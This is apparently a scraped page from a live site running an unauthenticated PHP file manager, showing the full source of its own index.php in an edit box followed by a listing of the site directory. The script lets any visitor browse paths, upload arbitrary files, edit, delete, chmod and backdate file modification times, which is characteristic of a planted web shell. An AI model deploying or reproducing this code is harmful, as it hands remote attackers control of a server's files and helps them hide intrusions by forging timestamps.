<h5 class='border p-1 mb-3'>Edit File</h5><form method='post' action='?p=.&a=edit&n=index.php'>
            <div class='form-group'>
                <label for='ctn'>Content:</label>
                <textarea name='ctn' id='ctn' cols='150' rows='20' class='form-control'>&lt;?php
session_start();

// Function to sanitize user input
function sanitize($input) {
    return htmlspecialchars(strip_tags($input), ENT_QUOTES, 'UTF-8');
}

// Function to format the modification time
function formatModificationTime($timestamp) {
    return date('Y-m-d H:i', $timestamp);
}

// Function to get the current directory
function getCurrentDirectory() {
    return isset($_GET['p']) ? sanitize($_GET['p']) : '.';
}

// Function to get the full path of the selected item
function getFullPath($item) {
    return getCurrentDirectory() . DIRECTORY_SEPARATOR . $item;
}

// Function to get permissions of a file
function perms($file) {
    return substr(decoct(fileperms($file)), -3);
}

// Function to get permissions of a directory
function permsDir($dir) {
    return substr(decoct(fileperms($dir)), -4);
}

// Function to display the delete file form
function displayDeleteFileForm($filePath) {
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Delete File&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('delete') . &quot;&amp;n=&quot; . urlencode(basename($filePath)) . &quot;'&gt;
            &lt;p&gt;Are you sure you want to delete the file?&lt;/p&gt;
            &lt;div class='form-group'&gt;
                &lt;button type='submit' name='s' class='btn btn-danger rounded-0'&gt;Delete&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to display the delete directory form
function displayDeleteDirForm($dirPath) {
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Delete Directory&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('delete_dir') . &quot;&amp;n=&quot; . urlencode(basename($dirPath)) . &quot;'&gt;
            &lt;p&gt;Are you sure you want to delete the directory and its contents?&lt;/p&gt;
            &lt;div class='form-group'&gt;
                &lt;button type='submit' name='s' class='btn btn-danger rounded-0'&gt;Delete Directory&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to delete a file
function deleteFile($filePath) {
    if (unlink($filePath)) {
        echo &quot;&lt;p&gt;File deleted successfully.&lt;/p&gt;&quot;;
    } else {
        echo &quot;&lt;p&gt;Failed to delete the file.&lt;/p&gt;&quot;;
    }
}

// Function to delete a directory
function deleteDir($dirPath) {
    if (is_dir($dirPath)) {
        $objects = scandir($dirPath);
        foreach ($objects as $object) {
            if ($object != &quot;.&quot; &amp;&amp; $object != &quot;..&quot;) {
                if (is_dir($dirPath . DIRECTORY_SEPARATOR . $object) &amp;&amp; !is_link($dirPath . DIRECTORY_SEPARATOR . $object)) {
                    deleteDir($dirPath . DIRECTORY_SEPARATOR . $object);
                } else {
                    unlink($dirPath . DIRECTORY_SEPARATOR . $object);
                }
            }
        }
        reset($objects);
        if (rmdir($dirPath)) {
            echo &quot;&lt;p&gt;Directory deleted successfully.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Failed to delete the directory.&lt;/p&gt;&quot;;
        }
    } else {
        echo &quot;&lt;p&gt;Not a valid directory.&lt;/p&gt;&quot;;
    }
}

// Check if the action is to delete a file
if (isset($_GET['a']) &amp;&amp; $_GET['a'] === 'delete' &amp;&amp; isset($_GET['n'])) {
    $deleteFile = sanitize($_GET['n']);
    $deleteFilePath = getFullPath($deleteFile);

    // Display confirmation form
    displayDeleteFileForm($deleteFilePath);

    // Handle form submission
    if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['s'])) {
        // Delete the file
        deleteFile($deleteFilePath);
    }
}

// Check if the action is to delete a directory
if (isset($_GET['a']) &amp;&amp; $_GET['a'] === 'delete_dir' &amp;&amp; isset($_GET['n'])) {
    $deleteDir = sanitize($_GET['n']);
    $deleteDirPath = getFullPath($deleteDir);

    // Display confirmation form
    displayDeleteDirForm($deleteDirPath);

    // Handle form submission
    if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['s'])) {
        // Delete the directory
        deleteDir($deleteDirPath);
    }
}

// Function to display the edit form
function displayEditForm($filePath) {
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Edit File&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit') . &quot;&amp;n=&quot; . urlencode(basename($filePath)) . &quot;'&gt;
            &lt;div class='form-group'&gt;
                &lt;label for='ctn'&gt;Content:&lt;/label&gt;
                &lt;textarea name='ctn' id='ctn' cols='150' rows='20' class='form-control'&gt;&quot; . htmlspecialchars(file_get_contents($filePath)) . &quot;&lt;/textarea&gt;
            &lt;/div&gt;
            &lt;div class='form-group'&gt;
                &lt;button type='submit' name='s' class='btn btn-outline-light rounded-0'&gt;Save&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to display the edit permission form for files
function displayEditPermissionFormFile($filePath) {
    $currentPermission = perms($filePath);
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Edit Permission&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit_permission') . &quot;&amp;n=&quot; . urlencode(basename($filePath)) . &quot;'&gt;
            &lt;div class='form-group'&gt;
                &lt;label for='permission'&gt;Permission (Numeric):&lt;/label&gt;
                &lt;input type='text' name='permission' id='permission' class='form-control' value='$currentPermission'&gt;
            &lt;/div&gt;
            &lt;div class='form-group'&gt;
                &lt;button type='submit' name='s' class='btn btn-outline-light rounded-0'&gt;Save Permission&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to display the edit permission form for directories
function displayEditPermissionFormDir($dirPath) {
    $currentPermission = permsDir($dirPath);
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Edit Permission&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit_permission') . &quot;&amp;n=&quot; . urlencode(basename($dirPath)) . &quot;'&gt;
            &lt;div class='form-group'&gt;
                &lt;label for='permission'&gt;Permission (Numeric):&lt;/label&gt;
                &lt;input type='text' name='permission' id='permission' class='form-control' value='$currentPermission'&gt;
            &lt;/div&gt;
            &lt;div class='form-group'&gt;
                &lt;button type='submit' name='s' class='btn btn-outline-light rounded-0'&gt;Save Permission&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to display the edit modification time form
function displayEditModificationTimeForm($filePath) {
    $modificationTime = filemtime($filePath);
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Edit Modification Time&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit_modification_time') . &quot;&amp;n=&quot; . urlencode(basename($filePath)) . &quot;'&gt;
            &lt;div class='form-group'&gt;
                &lt;label for='modificationTime'&gt;Modification Time:&lt;/label&gt;
                &lt;input type='datetime-local' name='modificationTime' id='modificationTime' class='form-control' value='&quot; . date('Y-m-d\TH:i', $modificationTime) . &quot;'&gt;
            &lt;/div&gt;
            &lt;div class='form-group'&gt;
                &lt;button type='submit' name='s' class='btn btn-outline-light rounded-0'&gt;Save Modification Time&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to display the create directory form
function displayCreateDirForm() {
    echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Create Directory&lt;/h5&gt;&quot;;
    echo &quot;&lt;form method='post' action='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('create_dir') . &quot;'&gt;
            &lt;div class='form-group'&gt;
                &lt;label for='dirName'&gt;Directory Name:&lt;/label&gt;
                &lt;input type='text' name='dirName' id='dirName' class='form-control'&gt;
                &lt;button type='submit' name='s' class='btn btn-outline-light rounded-0'&gt;Create Directory&lt;/button&gt;
            &lt;/div&gt;
          &lt;/form&gt;&quot;;
}

// Function to handle file editing
if (isset($_GET['a']) &amp;&amp; $_GET['a'] === 'edit' &amp;&amp; isset($_GET['n'])) {
    $editFile = sanitize($_GET['n']);
    $editFilePath = getFullPath($editFile);

    // Check if file exists and is writable
    if (file_exists($editFilePath) &amp;&amp; is_writable($editFilePath)) {
        // Process POST data if available
        if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['ctn'])) {
            // Sanitize and get the edited content
            $editedContent = sanitize($_POST['ctn']);

            // Check if the edited content is not empty
            if (!empty($editedContent)) {
                // Save the edited content to the file
                if (file_put_contents($editFilePath, $editedContent) !== false) {
                    echo &quot;&lt;p&gt;File edited successfully.&lt;/p&gt;&quot;;
                } else {
                    $error = error_get_last();
                    echo &quot;&lt;p&gt;Error saving file: &quot; . $error['message'] . &quot;&lt;/p&gt;&quot;;
                }
            } else {
                echo &quot;&lt;p&gt;Cannot save an empty file.&lt;/p&gt;&quot;;
            }
        } else {
            // Display the edit form
            displayEditForm($editFilePath);
        }
    } else {
        echo &quot;&lt;p&gt;Cannot edit the file. Either the file does not exist or it is not writable.&lt;/p&gt;&quot;;
    }
}

// Function to handle editing permission
if (isset($_GET['a']) &amp;&amp; $_GET['a'] === 'edit_permission' &amp;&amp; isset($_GET['n'])) {
    $editItem = sanitize($_GET['n']);
    $editItemPath = getFullPath($editItem);

    if (file_exists($editItemPath)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['permission'])) {
            $newPermission = $_POST['permission'];
            if (is_numeric($newPermission) &amp;&amp; $newPermission &gt;= 0 &amp;&amp; $newPermission &lt;= 777) {
                chmod($editItemPath, octdec($newPermission));
                echo &quot;&lt;p&gt;Permission updated successfully.&lt;/p&gt;&quot;;
            } else {
                echo &quot;&lt;p&gt;Invalid permission value.&lt;/p&gt;&quot;;
            }
        } else {
            if (is_file($editItemPath)) {
                displayEditPermissionFormFile($editItemPath);
            } else {
                displayEditPermissionFormDir($editItemPath);
            }
        }
    } else {
        echo &quot;&lt;p&gt;Cannot edit permission. Either the item does not exist or it is not writable.&lt;/p&gt;&quot;;
    }
}

// Function to handle editing modification time
if (isset($_GET['a']) &amp;&amp; $_GET['a'] === 'edit_modification_time' &amp;&amp; isset($_GET['n'])) {
    $editItem = sanitize($_GET['n']);
    $editItemPath = getFullPath($editItem);

    if (file_exists($editItemPath)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['modificationTime'])) {
            $newModificationTime = strtotime($_POST['modificationTime']);
            if ($newModificationTime !== false) {
                touch($editItemPath, $newModificationTime);
                echo &quot;&lt;p&gt;Modification time updated successfully.&lt;/p&gt;&quot;;
            } else {
                echo &quot;&lt;p&gt;Invalid modification time value.&lt;/p&gt;&quot;;
            }
        } else {
            displayEditModificationTimeForm($editItemPath);
        }
    } else {
        echo &quot;&lt;p&gt;Cannot edit modification time. Either the item does not exist or it is not writable.&lt;/p&gt;&quot;;
    }
}

// Handle file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_FILES['uploaded_file'])) {
    $uploadedFile = $_FILES['uploaded_file'];

    if ($uploadedFile['error'] === UPLOAD_ERR_OK) {
        $uploadFilePath = getCurrentDirectory() . DIRECTORY_SEPARATOR . basename($uploadedFile['name']);

        if (move_uploaded_file($uploadedFile['tmp_name'], $uploadFilePath)) {
            echo &quot;&lt;p&gt;File uploaded successfully.&lt;/p&gt;&quot;;
        } else {
            echo &quot;&lt;p&gt;Failed to upload the file.&lt;/p&gt;&quot;;
        }
    } else {
        echo &quot;&lt;p&gt;Error during file upload. Error code: &quot; . $uploadedFile['error'] . &quot;&lt;/p&gt;&quot;;
    }
}

// Function to download a file
if (isset($_GET['download'])) {
    $downloadFile = sanitize($_GET['download']);
    $downloadPath = $currentDirectory . DIRECTORY_SEPARATOR . $downloadFile;

    if (file_exists($downloadPath) &amp;&amp; is_file($downloadPath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Transfer-Encoding: Binary');
        header('Content-Length: ' . filesize($downloadPath));
        header('Content-disposition: attachment; filename=&quot;' . $downloadFile . '&quot;');
        readfile($downloadPath);
        exit;
    }
}

// Handle directory creation
if ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['dirName'])) {
    $newDirName = sanitize($_POST['dirName']);
    $newDirPath = getCurrentDirectory() . DIRECTORY_SEPARATOR . $newDirName;

    if (!file_exists($newDirPath) &amp;&amp; mkdir($newDirPath)) {
        echo &quot;&lt;p&gt;Directory created successfully.&lt;/p&gt;&quot;;
    } else {
        echo &quot;&lt;p&gt;Failed to create the directory. Either the directory already exists or there was an error.&lt;/p&gt;&quot;;
    }
}

// Display the current directory path
echo &quot;&lt;p&gt;Current Directory: &quot; . getCurrentDirectory() . &quot;&lt;/p&gt;&quot;;

// Display a link to the parent directory (if not root)
if (getCurrentDirectory() !== '.') {
    $parentDirectory = realpath(getCurrentDirectory() . '/..');
    echo &quot;&lt;p&gt;&lt;a href='?p=&quot; . urlencode($parentDirectory) . &quot;'&gt;Parent Directory&lt;/a&gt;&lt;/p&gt;&quot;;
}

// Get the list of files and directories in the current directory
$contents = scandir(getCurrentDirectory());

// Display the create directory form
displayCreateDirForm();
echo &quot;&lt;h5 class='border p-1 mb-3'&gt;Upload File&lt;/h5&gt;
&lt;form method='post' action='' enctype='multipart/form-data'&gt;
    &lt;div class='form-group'&gt;
        &lt;label for='uploaded_file'&gt;Choose a file:&lt;/label&gt;
        &lt;input type='file' name='uploaded_file' id='uploaded_file' class='form-control' required&gt;
        &lt;button type='submit' name='s' class='btn btn-outline-light rounded-0'&gt;Upload File&lt;/button&gt;
    &lt;/div&gt;
&lt;/form&gt;&quot;;

// Display a table with the list of files and directories
echo &quot;&lt;table border='1'&gt;
        &lt;tr&gt;
            &lt;th&gt;Name&lt;/th&gt;
            &lt;th&gt;Type&lt;/th&gt;
            &lt;th&gt;Size&lt;/th&gt;
            &lt;th&gt;Modification Time&lt;/th&gt;
            &lt;th&gt;Permission&lt;/th&gt;
            &lt;th&gt;Action&lt;/th&gt;
        &lt;/tr&gt;&quot;;

foreach ($contents as $item) {
    if ($item == '.' || $item == '..') {
        continue;
    }

    $itemPath = getFullPath($item);
    $size = is_file($itemPath) ? filesize($itemPath) : '';
    $permission = is_file($itemPath) ? perms($itemPath) : permsDir($itemPath);

    echo &quot;&lt;tr&gt;
            &lt;td&gt;&lt;a href='?p=&quot; . urlencode($itemPath) . &quot;'&gt;$item&lt;/a&gt;&lt;/td&gt;
            &lt;td&gt;&quot; . (is_dir($itemPath) ? 'Directory' : 'File') . &quot;&lt;/td&gt;
            &lt;td&gt;$size&lt;/td&gt;
            &lt;td&gt;&quot; . formatModificationTime(filemtime($itemPath)) . &quot;&lt;/td&gt;
            &lt;td&gt;$permission&lt;/td&gt;
            &lt;td&gt;&quot;;

    if (is_file($itemPath)) {
        echo &quot;&lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('download') . &quot;&amp;file=&quot; . urlencode($item) . &quot;'&gt;Download&lt;/a&gt;&quot;;
        echo &quot; | &lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit') . &quot;&amp;n=&quot; . urlencode($item) . &quot;'&gt;Edit&lt;/a&gt;&quot;;
        echo &quot; | &lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit_permission') . &quot;&amp;n=&quot; . urlencode($item) . &quot;'&gt;Edit Permission&lt;/a&gt;&quot;;
        // For files, set delete link to 'delete'
        echo &quot; | &lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('delete') . &quot;&amp;n=&quot; . urlencode($item) . &quot;'&gt;Delete&lt;/a&gt;&quot;;
    } else {
        // For directories, set delete link to 'delete_dir'
        echo &quot; | &lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('delete_dir') . &quot;&amp;n=&quot; . urlencode($item) . &quot;'&gt;Delete Directory&lt;/a&gt;&quot;;
        echo &quot; | &lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit_permission') . &quot;&amp;n=&quot; . urlencode($item) . &quot;'&gt;Edit Permission&lt;/a&gt;&quot;;
    }

    echo &quot; | &lt;a href='?p=&quot; . urlencode(getCurrentDirectory()) . &quot;&amp;a=&quot; . urlencode('edit_modification_time') . &quot;&amp;n=&quot; . urlencode($item) . &quot;'&gt;Edit Modification Time&lt;/a&gt;&quot;;
    
    echo &quot;&lt;/td&gt;
          &lt;/tr&gt;&quot;;
}

echo &quot;&lt;/table&gt;&quot;;
?&gt;
</textarea>
            </div>
            <div class='form-group'>
                <button type='submit' name='s' class='btn btn-outline-light rounded-0'>Save</button>
            </div>
          </form><p>Current Directory: .</p><h5 class='border p-1 mb-3'>Create Directory</h5><form method='post' action='?p=.&a=create_dir'>
            <div class='form-group'>
                <label for='dirName'>Directory Name:</label>
                <input type='text' name='dirName' id='dirName' class='form-control'>
                <button type='submit' name='s' class='btn btn-outline-light rounded-0'>Create Directory</button>
            </div>
          </form><h5 class='border p-1 mb-3'>Upload File</h5>
<form method='post' action='' enctype='multipart/form-data'>
    <div class='form-group'>
        <label for='uploaded_file'>Choose a file:</label>
        <input type='file' name='uploaded_file' id='uploaded_file' class='form-control' required>
        <button type='submit' name='s' class='btn btn-outline-light rounded-0'>Upload File</button>
    </div>
</form><table border='1'>
        <tr>
            <th>Name</th>
            <th>Type</th>
            <th>Size</th>
            <th>Modification Time</th>
            <th>Permission</th>
            <th>Action</th>
        </tr><tr>
            <td><a href='?p=.%2Ferror_log'>error_log</a></td>
            <td>File</td>
            <td>478</td>
            <td>2026-05-27 05:02</td>
            <td>644</td>
            <td><a href='?p=.&a=download&file=error_log'>Download</a> | <a href='?p=.&a=edit&n=error_log'>Edit</a> | <a href='?p=.&a=edit_permission&n=error_log'>Edit Permission</a> | <a href='?p=.&a=delete&n=error_log'>Delete</a> | <a href='?p=.&a=edit_modification_time&n=error_log'>Edit Modification Time</a></td>
          </tr><tr>
            <td><a href='?p=.%2Findex.php'>index.php</a></td>
            <td>File</td>
            <td>16187</td>
            <td>2026-03-02 07:33</td>
            <td>644</td>
            <td><a href='?p=.&a=download&file=index.php'>Download</a> | <a href='?p=.&a=edit&n=index.php'>Edit</a> | <a href='?p=.&a=edit_permission&n=index.php'>Edit Permission</a> | <a href='?p=.&a=delete&n=index.php'>Delete</a> | <a href='?p=.&a=edit_modification_time&n=index.php'>Edit Modification Time</a></td>
          </tr></table>
Name	Type	Size	Modification Time	Permission	Action
error_log	File	478	2026-05-27 05:02	644	Download \| Edit \| Edit Permission \| Delete \| Edit Modification Time
index.php	File	16187	2026-03-02 07:33	644	Download \| Edit \| Edit Permission \| Delete \| Edit Modification Time